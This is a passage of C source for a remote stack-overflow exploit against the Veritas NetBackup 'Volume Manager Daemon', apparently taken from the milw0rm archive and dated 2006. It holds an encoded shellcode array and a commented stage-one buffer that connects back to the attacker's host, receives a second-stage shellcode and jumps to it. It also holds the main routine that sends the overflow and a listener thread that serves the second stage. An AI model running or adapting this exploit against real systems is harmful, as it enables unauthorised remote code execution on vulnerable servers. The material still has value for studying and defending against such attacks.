"\x76\xe7\xc9\x04\x85\xb5\x31\xbe\x87\xb5\x37\x85\x37\x03\x61\xa4"
"\x85\xb5\x31\xbd\x86\x1e\xb2\x12\x02\xd9\x8f\x0a\xab\x8c\x9e\xba"
"\x2d\x9c\xb2\x12\x02\x2c\x8d\x89\xb4\x22\x84\x80\x5b\xaf\x8d\xbd"
"\x8b\x63\x2b\x64\x35\x20\xa3\x64\x30\x7b\x27\x1e\x78\xb4\xa5\xc0"
"\x2c\x08\xcb\x7e\x5f\x30\xdf\x46\x79\xe1\x8f\x9f\x2c\xf9\xf1\x12"
"\xa7\x0e\x18\x3b\x89\x1d\xb5\xbc\x83\x1b\x8d\xec\x83\x1b\xb2\xbc"
"\x2d\x9a\x8f\x40\x0b\x4f\x29\xbe\x2d\x9c\x8d\x12\x2d\x7d\x18\x3d"
"\x59\x1d\x1b\x6e\x16\x2e\x18\x3b\x80\xb5\x37\x85\x22\xc0\xe3\xb2"
"\x81\xb5\x31\x12\x02\x4a\xe7\xed";
char szBuffer[] =
// We cannot use this small part.
"a"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAA"
// Since the buffer is so small, we even need a part of
// the SOCKADDR_IN structure. No problem.
// struct sockaddr_in {
"BB" // sin_family
"BB" // sin_port
"BBBB" // in_addr
// "BBBBBBBB" // sin_zero
// }
// 'START'
// Move the stackpointer. (0x0012F??? -> 0x0012F000)
"\xC1\xEC\x0C" // SHR ESP, 0x0C
"\xC1\xE4\x0C" // SHL ESP, 0x0C
// Call socket().
"\x33\xDB" // XOR EBX, EBX
"\x53" // PUSH EBX
"\x43" // INC EBX
"\x53" // PUSH EBX
"\x43" // INC EBX
"\x53" // PUSH EBX
"\xBB\x88\x72\x44\x00" // MOV EBX, 447288 [socket()]
"\xFF\x13" // JMP DWORD PTR [EBX]
"\x8B\xF8" // MOV EDI, EAX
// [edi -> socket]
// Call connect().
"\x33\xDB" // XOR EBX, EBX
"\xB3\x16" // MOV BL, 16
"\x53" // PUSH EBX
"\xBB\x60\xF3\x12\x00" // MOV EBX, 12F360
"\x53" // PUSH EBX
"\x57" // PUSH EDI
"\xBB\x4C\x72\x44\x00" // MOV EBX, 44724C [connect()]
"\xFF\x13" // JMP DWORD PTR [EBX]
// We need space.
"\x8B\xD4" // MOV EDX, ESP
"\x80\xC6\x01" // ADD DH, 1
// Call recv().
"\x33\xDB" // XOR EBX, EBX
"\x53" // PUSH EBX
"\x43" // INC EBX
"\xC1\xE3\x10" // SHL EBX, 8 [1 -> 65536]
"\x53" // PUSH EBX
"\x52" // PUSH EDX
"\x57" // PUSH EDI
"\xBB\x34\x72\x44\x00" // MOV EBX, 447234 [recv()]
"\xFF\x13" // JMP DWORD PTR [EBX]
// And again.
"\x8B\xD4" // MOV EDX, ESP
"\x80\xC6\x01" // ADD DH, 1
// Jump to our shellcode.
"\xFF\xE2" // JMP EDX
"O"
"W"
"N"
"E"
"D"
"!"
"\x68\xF3\x12\x00" // Here our code starts :).
"\x00\xF0\x12\x00"; // Just a random readable address.
// This is the NOT-interesting part :).
DWORD main(int argc, char *argv[]) {
printf("Veritas NetBackup v4/v5/v6 \"Volume Manager Daemon\" Stack Overflow.\n");
// We need a local port and ip because our first buffer is way too small
// to contain our complete shellcode. We use a small shellcode first to
// retrieve the second shellcode. The only method that fitted as first
// shellcode was a connect-back shellcode. For the second we got LOADS of
// space :).
if (argc<5) {
printf("Usage: %s <local ip> <local port> <remote ip> <type>\n\n", argv[0]);
printf("Types (tested):\n");
printf(" 0 - NetBackup v5.0_1A\n");
printf(" NetBackup v5.0_2\n");
printf(" NetBackup v5.0_3\n");
printf(" NetBackup v5.1\n\n");
return NULL;
}
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
sockaddr_in strTarget;
memset(&strTarget, 0, sizeof(strTarget));
strTarget.sin_addr.s_addr = inet_addr(argv[3]);
strTarget.sin_family = AF_INET;
strTarget.sin_port = htons(13701);
iLocalOpenPort = atoi(argv[2]);
HANDLE hStage2 = CreateThread(NULL, 0, SendShellcode, 0, 0, 0);
SOCKET sTarget = socket(AF_INET, SOCK_STREAM, 0);
int iResult = connect(sTarget, (struct sockaddr *)&strTarget, sizeof(strTarget));
if (iResult != SOCKET_ERROR) {
printf("Sending first buffer.\n");
// Fill in the structure.
unsigned long family = AF_INET;
memcpy(szBuffer + 80, &family, 2);
unsigned long port = htons(iLocalOpenPort);
memcpy(szBuffer + 82, &port, 2);
unsigned long ip = inet_addr(argv[1]);
memcpy(szBuffer + 84, &ip, 4);
send(sTarget, szBuffer, sizeof(szBuffer)-1, 0);
closesocket(sTarget);
}
WaitForSingleObject(hStage2, 3000);
WSACleanup();
return NULL;
}
DWORD WINAPI SendShellcode(LPVOID lpParam) {
SOCKET sTarget;
SOCKET sAccept;
struct hostent *hp;
struct sockaddr_in strTarget;
struct sockaddr_in strAccept;
int iStrSize = sizeof(strTarget);
memset(&strTarget, 0, sizeof(strTarget));
strTarget.sin_addr.s_addr = INADDR_ANY;
strTarget.sin_family = AF_INET;
strTarget.sin_port = htons(iLocalOpenPort);
sTarget = socket(AF_INET, SOCK_STREAM, 0);
bind(sTarget, (struct sockaddr *)&strTarget, iStrSize);
listen(sTarget, 2);
sAccept = accept(sTarget, (struct sockaddr *)&strAccept, &iStrSize);
if (sAccept != INVALID_SOCKET) {
printf("Sending second buffer.\n");
send(sAccept, szShellcode, sizeof(szShellcode) - 1, 0);
closesocket(sAccept);
}
return NULL;
}
// milw0rm.com [2006-01-16]